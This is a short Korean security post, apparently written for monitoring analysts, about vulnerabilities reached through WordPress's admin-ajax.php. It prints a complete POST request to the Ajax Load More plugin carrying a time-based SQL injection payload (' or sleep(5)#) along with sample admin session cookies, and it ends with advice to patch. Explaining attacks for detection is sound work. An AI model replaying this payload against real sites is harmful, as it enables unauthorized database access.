loading
본문으로 바로가기

/wp-admin/admin-ajax.php는 워드프레스 AJAX-API의 일부이며, 플러그인 사용을 위해 참조하는 페이지입니다. 대부분 프론트앤드, 백엔드 개발자들이 많이 사용하는 페이지입니다.

 

워드프레스에는 수많은 플러그인들이 존재하기 때문에, 해당 페이지에서 항상 취약점이 발생합니다.

Total Donations, Ajax Load More 등의 플러그인 취약점들이 많이 발생한 이력이 있으며, 인가되지 않은 출발지 IP의 사용자가 접근 시 주의해야합니다.

 

1. Payload

/wordpress/wp-admin/admin-ajax.php

 

2. 공격구문

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: http://wwwwww.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://wwww.com/wordpress/wp-admin/admin.php?page=ajax-load-more-repeaters
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 597
Origin: http://wwwwww.com
Connection: close

Cookie: wordpress_ce916d86f593e303743adeb31ce28da7=admin%7C1589950799%7CCMYS
DjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cab29a771b72eed2d65f02d50fd24ea85ae85f38d0fcc41abb56797fb8c7590a3; wordpress_logged_in_ce916d86f593e303743adeb31ce28da7=admin%7C15
89950799%7CCMYSDjadMRtkKIav5orz6knKlOvE7Bz8d67ACwFl5fl%7Cb14c3363c0174d9eb93e2d2bbdd3627b293ea3e8fa8a1080325f62bb462938e2; wp-settings-time-1=1589773793;
PHPSESSID=0lsvlo9il6ibjiuflljl3qcub1

action=alm_update_repeater&value=%3Cli+%3C%3Fphp+if+(!has_post_thumbnail())+%7B+%3F%3E+class%3D%22no-img%22%3C%3Fphp+%7D+%3F%3E%3E%0A+++%3C%3Fphp+if+(+has_post_thumbnail()+)+%7B+the_post_thumbnail('alm-thumbnail')%3B+%7D%3F%3E%0A+++
%3Ch3%3E%3Ca+href%3D%22%3C%3Fphp+the_permalink()%3B+%3F
%3E%22+title%3D%22%3C%3Fphp+the_title()
%3B+%3F%3E%22%3E%3C%3Fphp+the_title()%3B+%3F%3E%3C%2Fa%3E%3C%2Fh3%3E%0A+++%3Cp+class%3D%22entry-meta%22%3E%3C%3Fphp+the_time(%22F+d%2C+Y%22)%3B+%3F%3E%3C
%2Fp%3E%0A+++%3C%3Fphp+the_excerpt()%3B+%3F%3E%0A%3C%2Fli%3E&repeater=' or sleep(5)#&type=test&alias=&nonce=ae68ab8c91

POST 메소드를 이용하며, action 쿼리안에 공격코드를 삽입하는 방식이며 구문을 통해 정/오탐을 정확히 판별해야 합니다.

 

※ 해결방안

1. 해당 플러그인을 최신패치를 권고드립니다. (각 플러그인 제작자들이 다르기 때문에 취약점 패치 업로드가 일정하지 않습니다.)